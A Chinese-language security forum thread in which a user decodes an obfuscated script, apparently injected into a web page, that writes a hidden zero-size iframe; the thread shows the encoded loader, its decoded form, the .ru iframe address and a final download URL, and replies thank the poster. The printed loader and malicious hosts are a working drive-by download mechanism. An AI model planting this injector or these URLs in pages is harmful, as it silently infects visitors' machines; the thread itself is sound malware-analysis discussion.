瑞星卡卡安全论坛

document.write(unescape("%3c%73%74%79%6c%65%20%74%79%70%65%3d%22%74%65%78%74%2f%63%73%73%22%3e%20%69%66%72%61%6d%65%20%7b%77%69%64%74%68%3a%30%3b%68%65%69%67%68%74%3a%30%3b%62%6f%72%64%65%72%3a%30%3b%7d%20%3c%2f%73%74%79%6c%65%3e"));</script><script>document.write(unescape("%3c%62%20%69%64%3d%22%66%36%37%30%22%20%73%74%79%6c%65%3d%22%64%69%73%70%6c%61%79%3a%6e%6f%6e%65%3b%22%3e%21%25%23%40%36%40%38%40%21%25%23%40%37%40%34%40%21%25%23%40%37%40%34%40%21%25%23%40%37%40%30%40%21%25%23%40%33%40%61%40%21%25%23%40%32%40%66%40%21%25%23%40%32%40%66%40%21%25%23%40%36%40%39%40%21%25%23%40%36%40%63%40%21%25%23%40%36%40%63%40%21%25%23%40%37%40%35%40%21%25%23%40%37%40%33%40%21%25%23%40%36%40%39%40%21%25%23%40%36%40%66%40%21%25%23%40%36%40%65%40%21%25%23%40%36%40%36%40%21%25%23%40%36%40%35%40%21%25%23%40%37%40%33%40%21%25%23%40%37%40%34%40%21%25%23%40%32%40%65%40%21%25%23%40%37%40%32%40%21%25%23%40%37%40%35%40%21%25%23%40%32%40%66%40%21%25%23%40%36%40%33%40%21%25%23%40%36%40%66%40%21%25%23%40%37%40%30%40%21%25%23%40%36%40%35%40%21%25%23%40%37%40%32%40%21%25%23%40%36%40%36%40%21%25%23%40%36%40%39%40%21%25%23%40%36%40%63%40%21%25%23%40%36%40%34%40%21%25%23%40%32%40%65%40%21%25%23%40%36%40%38%40%21%25%23%40%37%40%34%40%21%25%23%40%36%40%64%40%21%25%23%40%36%40%63%40%3c%2f%62%3e%0a%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%27%3c%69%66%72%61%6d%65%20%73%72%63%3d%5c%27%27%2b%75%6e%65%73%63%61%70%65%28%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%27%66%36%37%30%27%29%2e%69%6e%6e%65%72%48%54%4d%4c%2e%72%65%70%6c%61%63%65%28%2f%5b%5c%2b%21%2a%5e%23%40%24%5d%2f%67%2c%22%22%29%29%2b%27%5c%27%3e%3c%2f%69%66%72%61%6d%65%3e%27%29%3b%3c%2f%73%63%72%69%70%74%3e"));

用户系统信息：Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.0.11) Gecko/2009060215 Firefox/3.0.11

直接decode
<style type="text/css"> iframe {width:0;height:0;border:0;} </style>
<b id="f670" style="display:none;">!%#@6@8@!%#@7@4@!%#@7@4@!%#@7@0@!%#@3@a@!%#@2@f@!%#@2@f@!%#@6@9@!%#@6@c@!%#@6@c@!%#@7@5@!%#@7@3@!%#@6@9@!%#@6@f@!%#@6@e@!%#@6@6@!%#@6@5@!%#@7@3@!%#@7@4@!%#@2@e@!%#@7@2@!%#@7@5@!%#@2@f@!%#@6@3@!%#@6@f@!%#@7@0@!%#@6@5@!%#@7@2@!%#@6@6@!%#@6@9@!%#@6@c@!%#@6@4@!%#@2@e@!%#@6@8@!%#@7@4@!%#@6@d@!%#@6@c@</b>
<script>document.write('<iframe src=\''+unescape(document.getElementById('f670').innerHTML.replace(/[\+!*^#@$]/g,""))+'\'></iframe>');</script>



然后怎么替换？

在执行一次document.write
http://illusionfest.ru/coperfild.html
最终下载物
http://hutryehngolit.ru/n7k/update.php?id=1

:kaka1: 学习了

偶也来学习了:kaka12: